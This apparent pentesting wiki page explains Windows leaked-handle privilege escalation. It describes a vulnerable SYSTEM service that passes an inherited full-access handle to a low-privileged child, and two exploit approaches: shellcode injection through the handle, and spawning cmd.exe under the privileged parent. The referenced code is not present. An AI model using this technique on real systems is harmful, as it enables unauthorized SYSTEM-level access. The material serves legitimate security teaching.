Pentesting

Leaked Handle Exploitation

Imagine that a process running as SYSTEM open a new process (OpenProcess()) with full access. The same process also create a new process (CreateProcess()) with low privileges but inheriting all the open handles of the main process. Then, if you have full access to the low privileged process, you can grab the open handle to the privileged process created with OpenProcess() and inject a shellcode.

The code of this example was shared by an anonymous person.

Vulnerable Example

For example, the following code belongs to a Windows service that would be vulnerable. The vulnerable code of this service binary is located inside the Exploit function. This function is starts creating a new handle process with full access. Then, it's creating a low privileged process (by copying the low privileged token of explorer.exe) executing C:\users\username\desktop\client.exe. The vulnerability resides in the fact it's creating the low privileged process with bInheritHandles as TRUE.

Therefore, this low privileges process is able to grab the handle of the high privileged process crated first and inject and execute a shellcode (see next section).

Exploit Example 1

In a real scenario you probably won't be able to control the binary that is going to be executed by the vulnerable code (C:\users\username\desktop\client.exe in this case). Probably you will compromise a process and you will need to look if you can access any vulnerable handle of any privileged process.

In this example you can find the code of a possible exploit for C:\users\username\desktop\client.exe. The most interesting part of this code is located in GetVulnProcHandle. This function will start fetching all the handles, then it will check if any of them belongs to the same PID and if the handle belongs to a process. If all these requirements are completed (an accessible open process handle is found) , it try to inject and execute a shellcode abusing the handle of the process. The injection of the shellcode is done inside the Inject function and it will just write the shellcode inside the privileged process and create a thread inside the same process to execute the shellcode).

Exploit Example 2

Probably you will compromise a process and you will need to look if you can access any vulnerable handle of any privileged process.

In this example, instead of abusing the open handle to inject and execute a shellcode, it's going to be used the token of the privileged open handle process to create a new one. This is done in lines from 138 to 148.

Note how the function UpdateProcThreadAttribute is used with the attribute PROC_THREAD_ATTRIBUTE_PARENT_PROCESS and the handle to the open privileged process. This means that the created process thread executing cmd.exe will have the same token privilege as the open handle process.
